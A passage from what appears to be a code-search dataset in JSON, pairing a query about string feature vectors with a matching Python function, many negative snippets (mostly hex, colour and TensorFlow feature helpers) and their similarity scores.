'#{0:02X}{1:02X}{2:02X}'.format(*(int(255 * c) for c in rgb))\",\n \"def hexify(text):\\r\\n return ' '.join([hexify_word(word) for word in text.split()])\",\n \"def fn(c):\\n ans = 0\\n for k in range(1, 16): \\n ans = min(ans, k*16+k, key=lambda x: abs(x - int(c, 16)))\\n return hex(ans)[2:].zfill(2)\",\n \"def hexdigest(self):\\r\\n return ''.join(['%02x' % ord(c) for c in self.digest()])\",\n \"def ByteToHex( byteStr ):\\n \\n # Uses list comprehension which is a fractionally faster implementation than\\n # the alternative, more readable, implementation below\\n # \\n # hex = []\\n # for aChar in byteStr:\\n # hex.append( \\\"%02X \\\" % ord( aChar ) )\\n #\\n # return ''.join( hex ).strip() \\n\\n return ''.join([ \\\"%02X\\\" % ord( x ) for x in byteStr ] ).strip()\",\n \"def bytes_to_hex(s):\\n\\n return s.encode(\\\"hex\\\")\",\n \"def oct2hex(x):\\n return hex(int(x, 8))[2:]\",\n \"def convertLittleBig(string):\\n t = bytearray.fromhex(string)\\n t.reverse()\\n return ''.join(format(x, '02x') for x in t)\",\n \"def value_convert(x):\\n try:\\n return x.decode(\\\"ascii\\\")\\n except UnicodeDecodeError:\\n return x.hex()\",\n \"def dec2hex(string_num):\\n # if string_num.isdigit():\\n hex_str = hex(string_num)\\n hex_str = hex_str.replace('0x', '')\\n if len(hex_str) < 2:\\n hex_str = '0' + hex_str\\n return hex_str\",\n \"def hexdigest(self):\\n return \\\"\\\".join(\\\"%02x\\\" % ord(x)\\n for x in MegaCrypto.a32_to_str(self.digest()))\",\n \"def hexToRed(self, hex):\\n return int(hex[0:2], 16)\",\n \"def a2b_hex(string):\\n\\n if len(string) % 2 == 1:\\n string = '0' + string\\n\\n try:\\n return binascii.a2b_hex(string.encode('ascii'))\\n except TypeError:\\n raise Error('Invalid hexadecimal string')\",\n \"def encode_hex(self, i):\\n return \\\"%08x\\\" % self.transcode(i)\",\n \"def rgba_hex_str(self, x):\\n return \\\"#%02x%02x%02x%02x\\\" % self.rgba_bytes_tuple(x)\",\n \"def bitstr_to_hex(a):\\n return hex(bitstr_to_int(a))\",\n \"def uInt8HexStr(uInt8):\\n \\n croppedTo8bit = uInt8 & 0xff # ensure the value is only 8 bit.\\n result = \\\"%(#1)02x\\\" % { \\\"#1\\\" : croppedTo8bit }\\n return result\",\n \"def rgb_to_hex(rgb):\\n return \\\"#{0:02x}{1:02x}{2:02x}\\\".format(*rgb)\",\n \"def ascii_to_phred64(c):\\r\\n return ascii_to_phred(c, 64)\",\n \"def sanitizte_color(value):\\n if len(value) == 7 and value[0] == '#':\\n return \\\"#%06x\\\" % int(value[1:], 16)\\n raise ValueError('invalid color')\",\n \"def normalize_01(x):\\n return x / 255.0\",\n \"def encodeHex(s):\\n encoder = codecs.getencoder('hex_codec')\\n hex, length = encoder(s)\\n assert len(s) == length, \\\"Hex encoding incomplete\\\"\\n return hex\",\n \"def as_hex(self):\\n return binascii.hexlify(self.as_bytes()).decode('ascii')\",\n \"def pad_normalize(s):\\n\\n if len(s) < length:\\n s += '0' * (length-len(s))\\n else:\\n s = s[:length]\\n return [float(int(s[i], 16)/255) for i in range(0, length)]\",\n \"def HexColor(val):\\n if isinstance(val, str):\\n val = int(val, 16)\\n factor = 1.0 / 255\\n return Color(factor * ((val >> 16) & 0xFF), factor * ((val >> 8) & 0xFF), factor * (val & 0xFF))\",\n \"def RGB_hex_to_color(text: str, a: int=255):\\n num = int(text, 16)\\n r = num // 65536\\n g = (num - r * 65536) // 256\\n b = num - r * 65536 - g * 256\\n return np.clip(np.array([r, g, b, a], dtype='u1'), 0, 255)\",\n \"def H(s):\\n return 'H_' + ''.join(['%02x' % ord(x) for x in s])\",\n \"def ToHexSize(val):\\n return 'None' if val is None else '%#x' % len(val)\",\n \"def convert_to_hex(input_string: str):\\n return \\\" \\\".join([hex(ord(ch))[2:] for ch in input_string])\",\n \"def hex_to_ascii_string(input_string):\\n\\t\\tlist_of_hex = input_string.split(\\\" \\\")\\n\\t\\tchars = [chr(int(char, 16)) for char in list_of_hex if char != ' ']\\n\\t\\toutput_string = \\\"\\\".join(chars)\\n\\t\\treturn output_string\",\n \"def test_bytes_to_pretty_hex():\\n data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]\\n expected = (\\n \\\"0000 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 \\\"\\n \\\"|................|\\\\n\\\"\\n )\\n\\n result = cmds._bytes_to_pretty_hex(data=data)\\n\\n assert expected == result\",\n \"def hexbyte(string):\\n#\\treturn repr(string)\\n\\ts = \\\"\\\"\\n\\tfor i in string:\\n\\t\\tif (ord(i) >= ord('A') and ord(i) <= ord('z')) \\\\\\n\\t\\t\\tor (ord(i) >= ord('0') and ord(i) <= ord('9')) \\\\\\n\\t\\t\\tor (ord(i) == ord(\\\" \\\")):\\n\\t\\t\\ts += \\\"%s\\\" % i\\n\\t\\telse:\\n\\t\\t\\ts += \\\"\\\\\\\\x%02x\\\" % ord(i)\\n\\n#\\t\\ts += \\\" \\\"\\n\\treturn s\",\n \"def printable_hash(h):\\n return int(h).to_bytes(32, byteorder='big', signed=False).hex()\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.7478835","0.7241786","0.72120225","0.711506","0.7042994","0.70428777","0.7005129","0.68801385","0.6858315","0.6853162","0.6843357","0.68172914","0.6791203","0.6791164","0.6763778","0.6758954","0.67498916","0.67462385","0.6711573","0.66784096","0.66678","0.6659329","0.66301596","0.662254","0.6620326","0.6572251","0.6521455","0.65160435","0.65112305","0.6484304","0.6474006","0.6456758","0.64551526","0.64479065","0.6447664","0.6436419","0.64015","0.63962436","0.6394814","0.63837016","0.637969","0.63611865","0.63512295","0.6346311","0.6312649","0.6310755","0.62876064","0.62755644","0.6269212","0.62585443","0.6254288","0.624437","0.62436813","0.6242312","0.62347174","0.6226883","0.621015","0.6209233","0.6203774","0.619199","0.6191685","0.6189713","0.6185239","0.61848223","0.61677635","0.6167723","0.61667037","0.6161531","0.614791","0.61473423","0.6133858","0.6133709","0.6130098","0.61279833","0.61211854","0.61173695","0.61136985","0.61008495","0.6098897","0.6094238","0.6091061","0.6085917","0.60825914","0.6067807","0.60640675","0.6058972","0.605829","0.60537","0.60520065","0.6041259","0.60394114","0.60357726","0.6033187","0.6021921","0.60124135","0.6011643","0.5987498","0.598041","0.59677845","0.596216"],"string":"[\n \"0.7478835\",\n \"0.7241786\",\n \"0.72120225\",\n \"0.711506\",\n \"0.7042994\",\n \"0.70428777\",\n \"0.7005129\",\n \"0.68801385\",\n \"0.6858315\",\n \"0.6853162\",\n \"0.6843357\",\n \"0.68172914\",\n \"0.6791203\",\n \"0.6791164\",\n \"0.6763778\",\n \"0.6758954\",\n \"0.67498916\",\n \"0.67462385\",\n \"0.6711573\",\n \"0.66784096\",\n \"0.66678\",\n \"0.6659329\",\n \"0.66301596\",\n \"0.662254\",\n \"0.6620326\",\n \"0.6572251\",\n \"0.6521455\",\n \"0.65160435\",\n \"0.65112305\",\n \"0.6484304\",\n \"0.6474006\",\n \"0.6456758\",\n \"0.64551526\",\n \"0.64479065\",\n \"0.6447664\",\n \"0.6436419\",\n \"0.64015\",\n \"0.63962436\",\n \"0.6394814\",\n \"0.63837016\",\n \"0.637969\",\n \"0.63611865\",\n \"0.63512295\",\n \"0.6346311\",\n \"0.6312649\",\n \"0.6310755\",\n \"0.62876064\",\n \"0.62755644\",\n \"0.6269212\",\n \"0.62585443\",\n \"0.6254288\",\n \"0.624437\",\n \"0.62436813\",\n \"0.6242312\",\n \"0.62347174\",\n \"0.6226883\",\n \"0.621015\",\n \"0.6209233\",\n \"0.6203774\",\n \"0.619199\",\n \"0.6191685\",\n \"0.6189713\",\n \"0.6185239\",\n \"0.61848223\",\n \"0.61677635\",\n \"0.6167723\",\n \"0.61667037\",\n \"0.6161531\",\n \"0.614791\",\n \"0.61473423\",\n \"0.6133858\",\n \"0.6133709\",\n \"0.6130098\",\n \"0.61279833\",\n \"0.61211854\",\n \"0.61173695\",\n \"0.61136985\",\n \"0.61008495\",\n \"0.6098897\",\n \"0.6094238\",\n \"0.6091061\",\n \"0.6085917\",\n \"0.60825914\",\n \"0.6067807\",\n \"0.60640675\",\n \"0.6058972\",\n \"0.605829\",\n \"0.60537\",\n \"0.60520065\",\n \"0.6041259\",\n \"0.60394114\",\n \"0.60357726\",\n \"0.6033187\",\n \"0.6021921\",\n \"0.60124135\",\n \"0.6011643\",\n \"0.5987498\",\n \"0.598041\",\n \"0.59677845\",\n \"0.596216\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.7174581"},"document_rank":{"kind":"string","value":"3"}}},{"rowIdx":14484,"cells":{"query":{"kind":"string","value":"Coarse first version of a feature vector for a string. A placeholder for stronger versions."},"document":{"kind":"string","value":"def string_features_v1(str):\n N = float(len(str))\n if N==0: return None\n a = len(re.findall(r'/', str))/N\n b = len(re.findall(r'\\.', str))/N\n c = len(re.findall(r'-', str))/N\n d = len(re.findall(r'_', str))/N\n cap = len(re.findall(r'[A-Z]', str))/N\n num = len(re.findall(r'[0-9]', str))/N\n return [log(N), a, b, c, d, num, cap]"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def feature_vector(features, vector):\n clean_features = set(features)\n new_features_vector = featurize(vector,clean_features)\n return new_features_vector","def training(string):\n print(\"Training...\")\n vec = create_vector(string)\n print(\"Selecting features...\")\n feature_list = select_features(vec)\n print(\"Done!\")\n return feature_list","def convert2libsvm(f_vec):\n line = ''\n \n label = int(f_vec[0])\n \n # if you specified a positive label ID in your data for one-versus-all\n if not (args.ova == None):\n line += '1' if (str(label-1) == str(args.ova)) else '0'\n else:\n line += str(label)\n \n # skip zero entries\n for feat_idx in xrange(2,f_vec.size+1):\n value = f_vec[feat_idx-1]\n if args.sparse == 1 and value == 0:\n continue\n else:\n line += (' ' + str(feat_idx-1) + ':' + str(f_vec[feat_idx-1]))\n \n return line","def select_features(vec):\n return sorted(vec, key=vec.get, reverse=True)[\n : min(len(vec), FEATURE_LENGTH)\n ]","def get_genres_vector(genres_str: str):\n genres = genres_str.split(\";\")\n genres_vector = sum([one_hot.transform([[genre]]).toarray() for genre in genres])[0]\n return genres_vector","def _as_bytes_feature(in_string):\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[in_string]))","def feature_vector1(self, feature_vector1):\n\n self._feature_vector1 = feature_vector1","def processFeature(prevWord, word, vector):\n \n # We add feature whether it exists or not\n unigram, exists = vector.getUnigram(prevWord)\n if not exists:\n vector.addUnigram(prevWord)\n \n \n bigram, exists = vector.getBigram(prevWord, word)\n if not exists:\n vector.addBigram(prevWord, word)","def _update_feature_vec(fvec, word, tag_ngram):","def _float_feature(value):\n\treturn tf.train.Feature(float_list=tf.train.FloatList(value=[value]))","def parse_feature_value(s,next_index=0):\n next_index = jump_over_space(s,next_index)\n start_index = next_index\n while True:\n if not s[next_index].isspace():\n next_index += 1\n else:\n break\n feature_value = s[start_index:next_index]\n if feature_value == '':\n feature_value = None\n feature_value = feature_value.split('/')\n return (feature_value,next_index)","def convert_str_list_to_vector(self, string_list: Tuple[str]) -> numpy.ndarray:\n if len(string_list) != 4:\n logger.error(\"convert_str_list_to_vector got a too short or long string list: {}. We return a zero-vector!\",\n string_list)\n return numpy.zeros(shape=(self.word2vec_embedding_size +\n self.word2vec_embedding_size / 2 +\n self.word2vec_embedding_size / 3 +\n self.word2vec_embedding_size / 4,),\n dtype=\"float32\"\n )\n ret = numpy.zeros(shape=(0,), dtype=\"float32\")\n for i, token in enumerate(string_list):\n logger.trace(\"Process the {}. token \\\"{}\\\"\", (i + 1), string_list[i])\n ret = numpy.concatenate([ret,\n numpy.average(\n numpy.reshape(\n self.word2vec_dict.get(string_list[i],\n numpy.negative(\n numpy.ones(\n shape=(self.word2vec_embedding_size,),\n dtype=\"float32\")\n )),\n (int(self.word2vec_embedding_size / (i + 1)), (i + 1))\n ),\n axis=1)],\n axis=0)\n return ret","def _get_seg_features(string):\n seg_feature = []\n for word in jieba.cut(string):\n if len(word) == 1:\n seg_feature.append(0)\n else:\n tmp = [2] * len(word)\n tmp[0] = 1\n tmp[-1] = 3\n seg_feature.extend(tmp)\n return seg_feature","def get_seg_features(string):\n seg_feature = []\n\n for word in jieba.cut(string):\n if len(word) == 1:\n seg_feature.append(0)\n else:\n tmp = [2] * len(word)\n tmp[0] = 1\n tmp[-1] = 3\n seg_feature.extend(tmp)\n return seg_feature","def clean_feature(f):\n\n if f.startswith(\"a \"):\n f = f[2:]\n\n if f.startswith(\"an \"):\n f = f[3:]\n\n return str(f)","def replace_grist (features, new_grist):\n assert is_iterable_typed(features, basestring) or isinstance(features, basestring)\n assert isinstance(new_grist, basestring)\n # this function is used a lot in the build phase and the original implementation\n # was extremely slow; thus some of the weird-looking optimizations for this function.\n single_item = False\n if isinstance(features, str):\n features = [features]\n single_item = True\n\n result = []\n for feature in features:\n # '<feature>value' -> ('<feature', '>', 'value')\n # 'something' -> ('something', '', '')\n # '<toolset>msvc/<feature>value' -> ('<toolset', '>', 'msvc/<feature>value')\n grist, split, value = feature.partition('>')\n # if a partition didn't occur, then grist is just 'something'\n # set the value to be the grist\n if not value and not split:\n value = grist\n result.append(new_grist + value)\n\n if single_item:\n return result[0]\n return result","def _float_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))","def _float_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))","def _float_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))","def string_vector(self):\n pass","def _float_feature(value):\r\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))","def _float_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))","def _float_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))","def _float_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))","def _float_feature(value):\n if isinstance(value, list):\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\n else:\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))","def _float_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))","def _float_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))","def _float_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))","def _float_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))","def _float_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))","def _float_feature(value):\n if isinstance(value, list):\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))","def get_feature_vector(cc, img, quiet=False):\n savefilename = config.get_classifier_featvect_name(cc.d.images[img]) \n if os.path.isfile(savefilename):\n print 'load feat_vect %s'%(cc.d.images[img].name)\n feat_vect = cPickle.load(open(savefilename,'r'))\n else:\n feat_vect = compute_feature_vector(cc, img, quiet=quiet)\n cPickle.dump(feat_vect, open(savefilename,'w'))\n return feat_vect","def _float_feature(value):\n value = _ensure_list(value)\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))","def from_normalised_string(string):\n if string[0] == '_':\n return RealPred.from_normalised_string(string)\n else:\n return GPred.from_normalised_string(string)","def _float_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))","def _float_feature(value):\n return tf.train.Feature(\n float_list=tf.train.FloatList(value=value))","def creating_feature_vector():\r\n\twordlist = []\r\n\tlabel = \"\"\r\n\tfw = open(\"feature_vector.txt\", \"w+\", encoding = \"utf-8\")\r\n\twith open(\"D:\\\\Python_Prac\\\\wordstag\\\\modules\\\\HI_EN_TRAIN.txt\", \"r\", encoding = \"utf-8\") as f:\r\n\t\tfor line in f:\r\n\t\t\twordlist.append(line)\r\n\t\tfor index, line in enumerate(wordlist):\r\n\t\t\tif line == \"\\n\":\r\n\t\t\t\tcontinue\r\n\t\t\tcontext = line.split(\"\\t\")\r\n\t\t\tlabel = context[1]\r\n\t\t\tfeature_vector = label+\" \"\r\n\t\t\tngram_vector = ngram_frequency(str(context[0]))\r\n\t\t\tfor vector in ngram_vector:\r\n\t\t\t\tfeature_vector += str(vector)+\" \"\r\n\t\t\tfeature_vector += str(is_english(context[0]))+\" \"\r\n\t\t\tfeature_vector += str(is_hindi(context[0]))+\" \"\r\n\t\t\tfeature_vector += str(is_abbr(context[0]))+\" \"\r\n\t\t\tfeature_vector += str(med_in_english(context[0]))+\" \"\r\n\t\t\tfeature_vector += str(med_in_hindi(context[0]))+\" \"\r\n\t\t\tbefore = [0,0,0]\r\n\t\t\tafter = [0,0,0]\r\n\t\t\tfor i in range(3):\r\n\t\t\t\tif (index-i) < 0 or (index-i+1) > len(wordlist)-1:\r\n\t\t\t\t\tcontinue\r\n\t\t\t\tbefore[2-i] = get_word_context(wordlist[index-i+1].split(\"\\t\")[0])\r\n\t\t\tfor i in range(3):\r\n\t\t\t\tif (index+i+1) > len(wordlist)-1:\r\n\t\t\t\t\tcontinue\r\n\t\t\t\tafter[2-i] = get_word_context(wordlist[index+i+1].split(\"\\t\")[0])\r\n\t\t\tfor i in before:\r\n\t\t\t\tfeature_vector += str(i)+\" \"\r\n\t\t\tfor i in after:\r\n\t\t\t\tfeature_vector += str(i)+\" \"\r\n\t\t\tfeature_vector += \"\\n\"\r\n\t\t\tfw.write(feature_vector)\r\n\t\t\tprint(\"Proceeding...\"+str(index+1)+\" of 16683\")\r\n\r\n\tfw.close()","def string_feature(ds, feature: str, verbosity=0, dim=\"sample\", numeric_dis=True):\n t = get_annotation_table(ds, dim)\n ser = t[feature]\n dt = ser.dtype\n descript = \"\"\"\"\"\"\n\n non_null_ser = ser[ser.notnull()]\n null_flag = len(non_null_ser) < len(ser)\n levels = list(set(non_null_ser.values))\n num_levels = len(levels)\n\n if dt == pd.StringDtype():\n\n if num_levels >= 50:\n descript += f\"\"\"\nSorry, {feature} is a String feature with too many factor levels \n(n = {num_levels}) to describe, here \n\"\"\"\n\n elif num_levels < 50 and num_levels >= 2:\n descript += f\"\"\"\n{feature}: {dt} Feature\n-------------------------\n\nFactor level counts df:\n\n{non_null_ser.value_counts()}\n\n\nSome example query statements:\n------------------------------\n\n{feature} in ['{levels[0]}', '{levels[1]}', ...]\n\n{feature} not in ['{levels[0]}', '{levels[-1]}', ...]\n\n{feature} != '{levels[-2]}'\n\"\"\"\n\n else:\n descript += f\"\"\"\nThere's only a single factor level, {levels[0]}, across all samples.\n\"\"\"\n\n elif dt == pd.BooleanDtype():\n descript += f\"\"\"\n{feature}: {dt} Feature:\n---------------------------\n\nFactor level counts df:\n\n{non_null_ser.value_counts()}\n\n\nSome example query statements:\n------------------------------\n\n{feature} == True\n\n{feature} == False\n\"\"\"\n\n elif dt == pd.Int64Dtype() or dt == pd.Float64Dtype():\n if num_levels == 1:\n descript += f\"\"\"\nThere's only a single factor level, {levels[0]}, across all samples.\n\"\"\"\n\n elif (num_levels > 1) and (not numeric_dis):\n descript += f\"\"\"\n{feature}: {dt} Feature\n-------------------------\n\nFactor level counts df:\n\n{non_null_ser.value_counts()}\n\n\nSome example query statements:\n------------------------------\n\n{feature} in [{levels[0]}, {levels[1]}, ...]\n\n{feature} not in [{levels[0]}, {levels[-1]}, ...]\n\n{feature} != {levels[-2]}\n\"\"\"\n else:\n des = ser.describe()\n descript += f\"\"\"\n{feature}: {dt} Feature:\n---------------------------\n\ndistribution of numerical feature:\n\n{des}\n\nSome example query statements:\n------------------------------\n\n{feature} >= {int(des[1])}\n\n{feature} <= {int(des[1])}\n\n({feature} >= {int(des[4])}) and ({feature} <= {int(des[5])})\n\"\"\"\n\n else:\n descript += f\"\"\"\n{feature}: {dt} Feature\n-------------------------\n\nFactor level counts df:\n\n{non_null_ser.value_counts()}\n\n\nSome example query statements:\n------------------------------\n\n{feature} in ['{levels[0]}', '{levels[1]}', ...]\n\n{feature} not in ['{levels[0]}', '{levels[-1]}', ...]\n\n{feature} != '{levels[-2]}'\n\"\"\"\n\n if null_flag:\n descript += f\"\"\"\n{feature}.isnull()\n\n{feature}.notnull()\n\"\"\"\n\n return descript","def parse_single_example(serialized, features, name=None, example_names=None):\n return parse_single_example_v2(serialized, features, example_names, name)","def _float_feature(value):\n feature = tf.train.Feature(\n float_list=tf.train.FloatList(value=value)\n )\n return feature","def parse_version(vstring):\n try:\n version = StrictVersion(vstring)\n except ValueError:\n logging.getLogger('ipvs.common.debug').info('Strict parsing failed, falling back to LooseVersion instead')\n version = LooseVersion(vstring)\n version.version = tuple(version.version)\n\n return version","def _parseFeature(self, name, value=None):\n supported = self._parse([(name, value)])\n return supported.getFeature(name)","def review_to_vec(words, model, num_features , index2word_set):\n \n feature_vec = np.zeros((num_features), dtype=\"float32\")\n word_count = 0\n \n \n \n for word in words:\n if word in index2word_set: \n word_count += 1\n feature_vec += model[word]\n\n if word_count == 0:\n word_count = 1\n\n feature_vec /= word_count\n\n return feature_vec","def _bytes_feature(value: str) -> tf.train.Features.FeatureEntry:\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))","def get_vector(word, model):\n return model.wv[word]","def get_text_feature(texts,\n labels=None,\n nrow_train=None,\n vec='bow',\n lowercase=False,\n analyzer='word',\n single_token=True,\n ngram_range=(1, 1),\n stop_words=None,\n min_df=2,\n binary=True,\n select_k=None):\n from sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\n from sklearn.feature_selection import SelectKBest, chi2\n\n # keep single char as word\n if single_token:\n token_pattern = r\"\\b\\w+\\b\"\n else:\n token_pattern = r\"(?u)\\b\\w\\w+\\b\"\n\n # choose vec\n if vec is 'bow':\n vec = CountVectorizer(\n lowercase=lowercase,\n analyzer=analyzer,\n ngram_range=ngram_range,\n stop_words=stop_words,\n min_df=min_df,\n token_pattern=token_pattern,\n binary=binary)\n elif vec is 'tfidf':\n vec = TfidfVectorizer(\n lowercase=lowercase,\n analyzer=analyzer,\n ngram_range=ngram_range,\n stop_words=stop_words,\n min_df=min_df,\n token_pattern=token_pattern,\n sublinear_tf=True)\n else:\n raise ValueError('vec must be bow or tfidf!')\n\n # get word vector\n feature = vec.fit_transform(texts)\n feature_names = vec.get_feature_names()\n\n # feature select\n if (labels is not None) and (select_k is not None):\n if nrow_train is not None:\n x_train = feature[:nrow_train, :]\n x_test = feature[nrow_train:, :]\n y_train = labels[:nrow_train]\n\n feature_selector = SelectKBest(chi2, k=select_k)\n x_train = feature_selector.fit_transform(x_train, y_train)\n feature_names = np.array(feature_names)[feature_selector.get_support()]\n\n x_test = feature_selector.transform(x_test)\n\n # combine train test\n import scipy.sparse as sp\n feature = sp.vstack([x_train, x_test])\n\n else:\n feature_selector = SelectKBest(chi2, k=select_k)\n feature = feature_selector.fit_transform(feature, labels)\n feature_names = np.array(feature_names)[feature_selector.get_support()]\n\n return feature, list(feature_names)","def default_version_splitter(instring):\n return instring.split()[-1]","def getSentenceFeature(tokens, wordVectors, sentence):\n # Implement computation for the sentence features given a sentence. \n \n # Inputs: \n # - tokens: a dictionary that maps words to their indices in \n # the word vector list \n # - wordVectors: word vectors (each row) for all tokens \n # - sentence: a list of words in the sentence of interest \n\n # Output: \n # - sentVector: feature vector for the sentence \n\n sentence_vectors = [wordVectors[tokens[word]] for word in sentence]\n\n return sum(sentence_vectors) * 1.0 / len(sentence_vectors)","def _getStringFeature(self):\n\n # create args\n bufferSize = 256\n valueToGet = create_string_buffer('\\000' * bufferSize)\n sizeFilled = c_uint32()\n\n errorCode = VimbaDLL.featureStringGet(self._handle,\n self._name,\n valueToGet,\n bufferSize,\n byref(sizeFilled))\n if errorCode != 0:\n raise VimbaException(errorCode)\n\n return valueToGet.value","def shortest(self):\n shortest = None\n if self._vectors:\n shortest = self._vectors[0]\n min_len = shortest.length2\n for vector in self._vectors:\n len = vector.length2\n if len < min_len:\n shortest = vector\n min_len = len\n return shortest","def float_feature(value):\n if not isinstance(value, list):\n value = [value]\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))","def float_feature(value):\n if not isinstance(value, list):\n value = [value]\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))","def replace_word(word, is_first, vocab, minimal_fequency):\n ### YOUR CODE HERE\n if word.isdigit():\n if len(word) == 2:\n return 'twoDigitNum'\n elif len(word) == 4:\n return 'fourDigitNum'\n else:\n return 'othernum'\n elif contains_digit(word):\n if contains_alpha(word):\n return 'containsDigitAndAlpha'\n elif '-' in word:\n return 'containsDigitAndDash'\n elif '/' in word or '\\\\' in word:\n return 'containsDigitAndSlash'\n elif '.' in word:\n return 'containsDigitAndPeriod'\n if word.isalpha() and word.isupper():\n return 'allCaps'\n elif CAP_PERIOD_PATTERN.match(word):\n return 'capPeriod'\n if is_first and vocab.get(word.lower(), 0) >= minimal_fequency:\n return word.lower()\n if not is_first and word[0].isupper():\n return 'initCap'\n if word.isalpha():\n for suffix in SUFFIXES:\n if word.endswith(suffix):\n return 'wordSuffix' + suffix\n if word.isalpha():\n for prefix in PREFIXES:\n if word.startswith(prefix):\n return prefix + 'WordPrefix'\n if '-' in word:\n return 'withDash'\n elif word.isalpha() and word.lower() == word:\n return 'lowercase'\n ### END YOUR CODE\n return UNKNOWN_WORD","def _extract_feature(element):\n features = tf.parse_single_example(\n element,\n # Defaults are not specified since both keys are required.\n features={\n 'image/encoded': tf.FixedLenFeature([], tf.string),\n 'label/x': tf.FixedLenFeature([], tf.int64),\n 'label/y': tf.FixedLenFeature([], tf.int64)\n })\n return features","def create_feature_vector(features, length):\n START_IDX = 0\n END_IDX = 1\n\n output_vector = np.zeros(length)\n\n # negative strand\n for loc in features[-1]:\n output_vector[loc[START_IDX]:loc[END_IDX]] = 1 \n\n # positive strand\n for loc in features[1]:\n output_vector[loc[START_IDX]:loc[END_IDX]] = 2\n\n return output_vector","def build_feature_vector(self, basic_vector):\n basic_vector = basic_vector - np.mean(basic_vector)\n self._basic_vectors.append(basic_vector)\n if len(self._basic_vectors) > 2:\n #if there are at least 3 basic vectors we can calculate the central derivative for the vector before this one\n first_derivative = (basic_vector - self._basic_vectors[-3])/(2*self.seconds_to_next_vector)\n second_derivative = (basic_vector - 2*self._basic_vectors[-2] + self._basic_vectors[-3])/(self.seconds_to_next_vector**2)\n feature_vector = np.concatenate((basic_vector, first_derivative, second_derivative))\n self._feature_vectors.append(feature_vector)","def _float_feature(value):\n if not isinstance(value, list):\n value = [value]\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))","def _float_feature(value):\n if not isinstance(value, list):\n value = [value]\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))","def xx(x):\r\n return Feature(x, \"XX\")","def makeFeatureVec(words, model, num_features):\n featureVec = np.zeros((num_features,),dtype=\"float32\")\n num_words = 0.\n index2word_set = set(model.wv.index2word)\n for word in words:\n if word in index2word_set:\n num_words += 1\n featureVec = np.add(featureVec,model[word]) \n featureVec = np.divide(featureVec,num_words)\n return featureVec","def _feature_vec(xs, y):\n\tf = _create_feature_vec()\n\n\t# Iterate over rows in x, values of y, and update f.\n\tcount = y.shape[0]\n\tfor idx in range(count):\n\t\tword = xs[idx, :]\n\t\ttag = y[idx]\n\n\t\t# Defense!\n\t\tassert len(word) + 1 == len(f)\n\n\t\t# Iterate over feature values in word, increment the vector\n\t\tfor fidx, fvalue in enumerate(word):\n\t\t\tf[fidx][tag, fvalue] += 1\n\n\t\t# Update ngram matrix at the end of fvec. Must update edge potential\n\t\t# for previous AND next tag.\n\t\tif idx != 0:\n\t\t\tprev_tag = y[idx-1]\n\t\t\tf[-1][prev_tag, tag] += 1\n\t\tif idx != count - 1:\n\t\t\tnext_tag = y[idx+1]\n\t\t\tf[-1][tag, next_tag] += 1\n\n\treturn f","def __init__(self, version_string: str):\n self.components = version_string.split(\".\")","def __init__(self, version_string: str):\n self.components = version_string.split(\".\")","def get_vector(self, word):\n\n if word in self.glove.stoi:\n return self.glove.vectors[self.glove.stoi[word]]\n else:\n return None","def get_name():\n return \"SVM+\"","def vectorize_word(word):\n if word in Tfidf_vect.vocabulary_:\n i = Tfidf_vect.vocabulary_[word]\n return Tfidf_vect.idf_[i]\n else:\n return 0","def create_feature_map(string, features):\n fmap = {}\n vec = create_vector(string)\n\n for ngram in features:\n if ngram in vec:\n fmap[ngram] = vec[ngram]\n\n return fmap","def float_feature(self, value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))","def GetVectorArticleInput(dico_vector_input, features):\n features_left = set(features) - set(dico_vector_input.keys())\n if len(features_left) > 0:\n sentence = \"Some features aren't in the dict:\\n\"\n raise MyException(sentence + \"{}\".format(features_left))\n vector_art = []\n other_features = ['abstract', 'syn', 'exergue', 'title', 'secTitle']\n other_features += ['subTitle', 'supTitle']\n for feature in features:\n if feature == 'nbSign':\n if dico_vector_input['nbSign'] == 0:\n print(\"NbSign == 0 l.176 - GetVectorArticleInput\")\n vector_art.append(dico_vector_input[feature])\n else:\n vector_art.append(dico_vector_input[feature])\n # Conversion des variables en indicatrices\n # Normalement plus la peine, comme déjà fait auparavant\n elif feature in other_features:\n if dico_vector_input[feature] > 0:\n vector_art.append(1)\n else:\n vector_art.append(0)\n else:\n vector_art.append(dico_vector_input[feature])\n return (dico_vector_input['melodyId'], np.array([vector_art]))","def first(word):\n\treturn word[0]","def get_training(feature_path): \n features = np.loadtxt(feature_path)\n feature_size = features.shape[1] -1 \n features_in = features[:,0:feature_size]\n features_out = features[:,-1]\n #features_out = np.array(map(lambda x: x if x else 0, features_out_unnorm))\n return features_in, features_out","def _load_version(cls, unpickler, version):\n model 